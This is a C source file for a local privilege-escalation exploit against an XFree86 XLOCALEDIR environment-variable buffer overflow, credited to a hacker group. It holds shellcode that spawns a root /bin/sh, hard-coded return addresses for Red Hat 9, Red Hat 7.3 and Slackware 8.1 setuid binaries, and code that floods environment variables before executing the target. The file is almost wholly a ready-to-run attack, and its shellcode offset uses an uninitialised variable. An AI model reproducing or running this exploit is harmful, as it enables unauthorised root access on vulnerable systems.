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C/C++ Source or Header
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2005-02-12
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4KB
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167 lines
/* XFree86 XLOCALEDIR env local root exploit
coded by aXis@ph4nt0m.net
PH4NT0M SECURITY TEAM
bug is reported at www.nsfocus.net/index.php?act=sec_bug&do=view&bug_id=4516
this bug was founded by tarranta & dcryptr 3 january 2003
dcryptr and angello have given exploits
this exploit is base on that two exploits
tested on REDHAT 9
but there isn't a 's' for these two files.so we can't get a rootshell.
just for fun!
*/
#include <stdlib.h>
#include <unistd.h>
#include <getopt.h>
#include <sys/errno.h>
#include <string.h>
#include <stdio.h>
//#define RET 0xbffffe50 // on rh9 ,RETADDR could be 0xbffff00---0xbffffe90 ===>tha's will be good!
char shellcode[]=
"\x31\xdb"
"\x89\xd8"
"\xb0\x17"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x17"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x2e"
"\xcd\x80"
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x31\xd2"
"\xb0\x0b"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\xb0\x01"
"\xcd\x80";
struct target{
int num;
char *version;
char *dest;
char *name;
unsigned long ret;
int bufsize;
};
struct target exploit[]={
{1,"Redhat linux 9.0 --","/usr/X11R6/bin/xterm","xterm",0xbffffe50,4076},
{2,"Redhat linux 9.0 --","/usr/X11R6/bin/xscreensaver","xscreensaver",0xbffffe50,4076},
//this ret on rh7.3 is supplied by angelo rosiello
{3,"Redhat linux 7.3 --","/usr/X11R6/bin/xscreensaver","xscreensaver",0xbfffdf20,4076},
//these 3 ret on slackware followed is supplied by dcryptr
{4,"Slackware 8.1 --","/usr/X11R6/bin/xscreensaver","xscreensaver",0xbfffe861,6000},
{5,"Slackware 8.1 --","/usr/X11R6/bin/xterm","xterm",0xbfffe86d,6000},
{6,"Slackware 8.1 --","/usr/X11R6/bin/xlock","xlock",0xbfffe86d,6000},
{0,NULL,NULL,NULL,0,0}
};
void usage(char *c);
int main(int argc, char **argv){
char buf[4076];
int i;
int type;
int options;
int size;
unsigned long ret;
//options of the exploit
while((options=getopt(argc,argv,"ht:"))!=-1){
switch(options){
case 'h':
usage(argv[0]);
exit(0);
case 't':
type=atoi(optarg);
if(type>6||type<0){
printf("Wrong Target!\n\n");
exit(0);
}
if(type==0){
usage(argv[0]);
printf("Please select target num !\n");
printf("======================================\n");
for(i=0;exploit[i].dest;i++)
fprintf(stderr,"[%d] | %s %s \n",exploit[i].num,exploit[i].version,exploit[i].dest);
exit(1);
}
break;
default:
usage(argv[0]);
exit(0);
}
}
size=exploit[type-1].bufsize;
ret=exploit[type-1].ret;
//set the env to buf,first time.
memset(buf,0x41,4072);
memcpy(buf+2076,&ret,0x4); //the value 2076 is knows form angelo roseillo's exploit
setenv("XLOCALEDIR",buf,1);
//buffer now has changed ,set env to buf for the second time!
memset(buf,0x90,size);
memcpy(buf+4000+i,shellcode,strlen(shellcode));
setenv("PH4NT0M",buf,1);
printf("\n++++++++++++++++++++++++++++++\n");
printf("Xfree86 XLOCALEDIR env local root exploit\n");
printf("++++++++++++++++++++++++++++++++\n\n");
printf("coded by aXis,aXis@ph4nt0m.net\n");
printf("PST,www.ph4nt0m.org\n\n");
printf("retaddr is at 0x%lx \n",ret);
printf("buf is at 0x%lx \n",&buf);
if(execl((exploit[type-1].dest),(exploit[type-1].name),0)==-1){
fprintf(stderr,"failed,try another target! -h for help\n\n");
exit(-1);
}
return 0;
}
void usage(char *c){
fprintf(stderr,"\n===XFree86 XLOCALEDIR env local root exploit====\n"
"====coded by aXis===========\n"
"====aXis@ph4nt0m.net\n"
"===PH4NT0M SECURITY TEAM www.ph4nt0m.org===\n\n"
"usage: %s [-h] [-t <num>]\n"
"Options:\n"
" -h:\t this help.\n"
" -t num:\t select the target type,try 0 for list\n\n",c);
}